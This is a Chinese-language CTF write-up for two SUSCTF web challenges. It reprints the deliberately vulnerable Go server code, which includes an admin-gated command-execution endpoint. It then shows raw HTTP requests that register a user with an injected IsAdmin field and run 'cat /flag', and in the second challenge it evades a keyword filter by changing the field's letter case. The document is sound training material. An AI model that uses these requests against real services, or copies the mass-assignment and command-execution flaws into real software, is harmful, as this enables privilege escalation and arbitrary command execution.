2025-SUSCTF


web

am i admin?

考点:go中的json反序列化

先大致审计一下代码

auth.go

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
package main

import (
	"encoding/json"
	"fmt"
	"net/http"
	"sync"
)

type UserCreds struct {
	Username string `json:"username"`
	Password string `json:"password"`
	IsAdmin  bool
}

type SessionStore struct {
	sync.Mutex
	sessions map[string]UserCreds // sessionID -> UserCreds
}

func NewSessionStore() *SessionStore {
	return &SessionStore{sessions: make(map[string]UserCreds)}
}

type UserDB struct {
	sync.Mutex
	users map[string]UserCreds // username -> creds
}

func NewUserDB() *UserDB {
	return &UserDB{users: make(map[string]UserCreds)}
}

type Auth struct {
	AdminPassword string
	Store         *SessionStore
	UserDB        *UserDB
}

func (a *Auth) RegisterHandler(w http.ResponseWriter, r *http.Request) {
	var c UserCreds
	json.NewDecoder(r.Body).Decode(&c)
	if c.Username == "" || c.Password == "" {
		http.Error(w, "username and password required", http.StatusBadRequest)
		return
	}
	if c.Username == "admin" {
		http.Error(w, "cannot register as admin", http.StatusForbidden)
		return
	}
	a.UserDB.Lock()
	defer a.UserDB.Unlock()
	if _, exists := a.UserDB.users[c.Username]; exists {
		http.Error(w, "username already exists", http.StatusConflict)
		return
	}
	a.UserDB.users[c.Username] = c
	w.Write([]byte("register success"))
}

func (a *Auth) LoginHandler(w http.ResponseWriter, r *http.Request) {
	var c UserCreds
	json.NewDecoder(r.Body).Decode(&c)
	a.UserDB.Lock()
	user, ok := a.UserDB.users[c.Username]
	a.UserDB.Unlock()
	if ok && user.Password == c.Password {
		if user.Username == "admin" && user.Password == a.AdminPassword {
			user.IsAdmin = true
		}
		sessionID := GenRandomSeq(32)
		a.Store.Lock()
		a.Store.sessions[sessionID] = user
		a.Store.Unlock()
		http.SetCookie(w, &http.Cookie{Name: "session_id", Value: sessionID, Path: "/"})
		fmt.Fprintf(w, "user %s logged in", user.Username)
		return
	}
	http.Error(w, "invalid credentials", http.StatusUnauthorized)
}

func (a *Auth) LogoutHandler(w http.ResponseWriter, r *http.Request) {
	cookie, err := r.Cookie("session_id")
	if err != nil {
		http.Error(w, "no session, are you logged in?", http.StatusInternalServerError)
		return
	}
	a.Store.Lock()
	delete(a.Store.sessions, cookie.Value)
	a.Store.Unlock()
	w.Write([]byte("user logged out"))
}

func (a *Auth) RequireAdmin(next http.HandlerFunc) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		cookie, err := r.Cookie("session_id")
		if err != nil {
			http.Error(w, "not logged in", http.StatusUnauthorized)
			return
		}
		a.Store.Lock()
		user, ok := a.Store.sessions[cookie.Value]
		a.Store.Unlock()
		if !ok || !user.IsAdmin {
			http.Error(w, "admin only", http.StatusForbidden)
			return
		}
		next(w, r)
	}
}

handlers.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
	"encoding/json"
	"net/http"
	"os/exec"
)

type RunCommandReq struct {
	Cmd  string   `json:"cmd"`
	Args []string `json:"args"`
}

func RunCommandHandler(w http.ResponseWriter, r *http.Request) {
	var body RunCommandReq
	json.NewDecoder(r.Body).Decode(&body)
	out, err := exec.Command(body.Cmd, body.Args...).CombinedOutput()
	resp := map[string]string{
		"output": string(out),
	}
	if err != nil {
		resp["error"] = err.Error()
	}
	json.NewEncoder(w).Encode(resp)
}

main.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main

import (
	"log"
	"net/http"
)

const PORT_STR = ":8080"

func main() {
	adminPassword := GenRandomSeq(16)
	log.Printf("Admin password: %s\n", adminPassword)
	adminUserCreds := UserCreds{
		Username: "admin",
		Password: adminPassword,
		IsAdmin:  true,
	}

	store := NewSessionStore()
	userDB := NewUserDB()
	userDB.Lock()
	userDB.users["admin"] = adminUserCreds
	userDB.Unlock()
	auth := &Auth{
		AdminPassword: adminPassword,
		Store:         store,
		UserDB:        userDB,
	}

	http.HandleFunc("/register", auth.RegisterHandler)
	http.HandleFunc("/login", auth.LoginHandler)
	http.HandleFunc("/logout", auth.LogoutHandler)
	http.HandleFunc("/run", auth.RequireAdmin(RunCommandHandler))

	log.Printf("Server running on %s\n", PORT_STR)
	log.Fatal(http.ListenAndServe(PORT_STR, nil))
}

utils.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package main

import (
	"crypto/rand"
	"encoding/base64"
)

func GenRandomSeq(length int) string {
	b := make([]byte, length)
	_, err := rand.Read(b)
	if err != nil {
		panic(err)
	}
	return base64.URLEncoding.EncodeToString(b)[:length]
}

这个代码一目了然,如果需要都/run执行命令只需要isAdmin为true就行,看代码只有admin登入才能使isAdmin为true,但是显然不知道密码,那只能考虑伪造,看到encoding/json,想到go的json反序列化

参考下文:https://blog.csdn.net/weixin_43095238/article/details/118443328?fromshare=blogdetail&sharetype=blogdetail&sharerId=118443328&sharerefer=PC&sharesource=2301_80915592&sharefrom=from_link

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

import (
	"encoding/json"
	"fmt"
)

type UserCreds struct {
	Username string `json:"username"`
	Password string `json:"password"`
	IsAdmin  bool   `json:"is_admin"`
}

func main() {
	u := &UserCreds{
		Username: "1",
		Password: "1",
		IsAdmin:  true,
	}
	b, _ := json.Marshal(u)
	fmt.Println(string(b))
}

序列化了拿怎么触发反序列化呢?,一问ai发现用post+josn发送数据即可

image-20251014212416472

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /register HTTP/1.1
Host: 106.14.191.23:58350
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type:application/json
Content-Length: 46

{"username":"2","password":"1","IsAdmin":true}

image-20251014212504717

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /login HTTP/1.1
Host: 106.14.191.23:58350
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type:application/json
Content-Length: 46

{"username":"2","password":"1","IsAdmin":true}

image-20251014212540548

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /run HTTP/1.1
Host: 106.14.191.23:58350
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Cookie:session_id=rZYiMk8feyDfhjtba7HtTBEw0-n9GGYB
Content-Type:application/json
Content-Length: 30

{"cmd":"cat","args":["/flag"]}

image-20251014212730265

susctf{Unwr17teN_Js0n_K3y_96c92db787db}

am i admin? 2

考点:Go的JSON解析器不区分大小写地解析字段名

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package main

import (
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"strings"
	"sync"
)

type UserCreds struct {
	Username string `json:"username"`
	Password string `json:"password"`
	IsAdmin  bool
}

type SessionStore struct {
	sync.Mutex
	sessions map[string]UserCreds // sessionID -> UserCreds
}

func NewSessionStore() *SessionStore {
	return &SessionStore{sessions: make(map[string]UserCreds)}
}

type UserDB struct {
	sync.Mutex
	users map[string]UserCreds // username -> creds
}

func NewUserDB() *UserDB {
	return &UserDB{users: make(map[string]UserCreds)}
}

type Auth struct {
	AdminPassword string
	Store         *SessionStore
	UserDB        *UserDB
}

func (a *Auth) RegisterHandler(w http.ResponseWriter, r *http.Request) {
	body, _ := io.ReadAll(r.Body)
	bodyStr := string(body)
	if strings.Contains(bodyStr, "IsAdmin") {
		http.Error(w, "not allowed!", http.StatusForbidden)
		return
	}

	var c UserCreds
	json.Unmarshal(body, &c)
	if c.Username == "" || c.Password == "" {
		http.Error(w, "username and password required", http.StatusBadRequest)
		return
	}
	if c.Username == "admin" {
		http.Error(w, "cannot register as admin", http.StatusForbidden)
		return
	}
	a.UserDB.Lock()
	defer a.UserDB.Unlock()
	if _, exists := a.UserDB.users[c.Username]; exists {
		http.Error(w, "username already exists", http.StatusConflict)
		return
	}
	a.UserDB.users[c.Username] = c
	w.Write([]byte("register success"))
}

func (a *Auth) LoginHandler(w http.ResponseWriter, r *http.Request) {
	body, _ := io.ReadAll(r.Body)
	bodyStr := string(body)
	if strings.Contains(bodyStr, "IsAdmin") {
		http.Error(w, "not allowed!", http.StatusForbidden)
		return
	}

	var c UserCreds
	json.Unmarshal(body, &c)
	a.UserDB.Lock()
	user, ok := a.UserDB.users[c.Username]
	a.UserDB.Unlock()
	if ok && user.Password == c.Password {
		if user.Username == "admin" && user.Password == a.AdminPassword {
			user.IsAdmin = true
		}
		sessionID := GenRandomSeq(32)
		a.Store.Lock()
		a.Store.sessions[sessionID] = user
		a.Store.Unlock()
		http.SetCookie(w, &http.Cookie{Name: "session_id", Value: sessionID, Path: "/"})
		fmt.Fprintf(w, "user %s logged in", user.Username)
		return
	}
	http.Error(w, "invalid credentials", http.StatusUnauthorized)
}

func (a *Auth) LogoutHandler(w http.ResponseWriter, r *http.Request) {
	cookie, err := r.Cookie("session_id")
	if err != nil {
		http.Error(w, "no session, are you logged in?", http.StatusInternalServerError)
		return
	}
	a.Store.Lock()
	delete(a.Store.sessions, cookie.Value)
	a.Store.Unlock()
	w.Write([]byte("user logged out"))
}

func (a *Auth) RequireAdmin(next http.HandlerFunc) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		cookie, err := r.Cookie("session_id")
		if err != nil {
			http.Error(w, "not logged in", http.StatusUnauthorized)
			return
		}
		a.Store.Lock()
		user, ok := a.Store.sessions[cookie.Value]
		a.Store.Unlock()
		if !ok || !user.IsAdmin {
			http.Error(w, "admin only", http.StatusForbidden)
			return
		}
		next(w, r)
	}
}

此题加了一个过滤

1
2
3
4
	if strings.Contains(bodyStr, "IsAdmin") {
		http.Error(w, "not allowed!", http.StatusForbidden)
		return
	}

但是参考文章下面的文章发现Go的JSON解析器不区分大小写地解析字段名

Unexpected security footguns in Go’s parsers -The Trail of Bits Blog

然后换了一个解析器,但是无伤大雅,一样的

image-20251014222635731

所以直接大小写绕过

image-20251014221732005

image-20251014221745471

image-20251014222034681

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计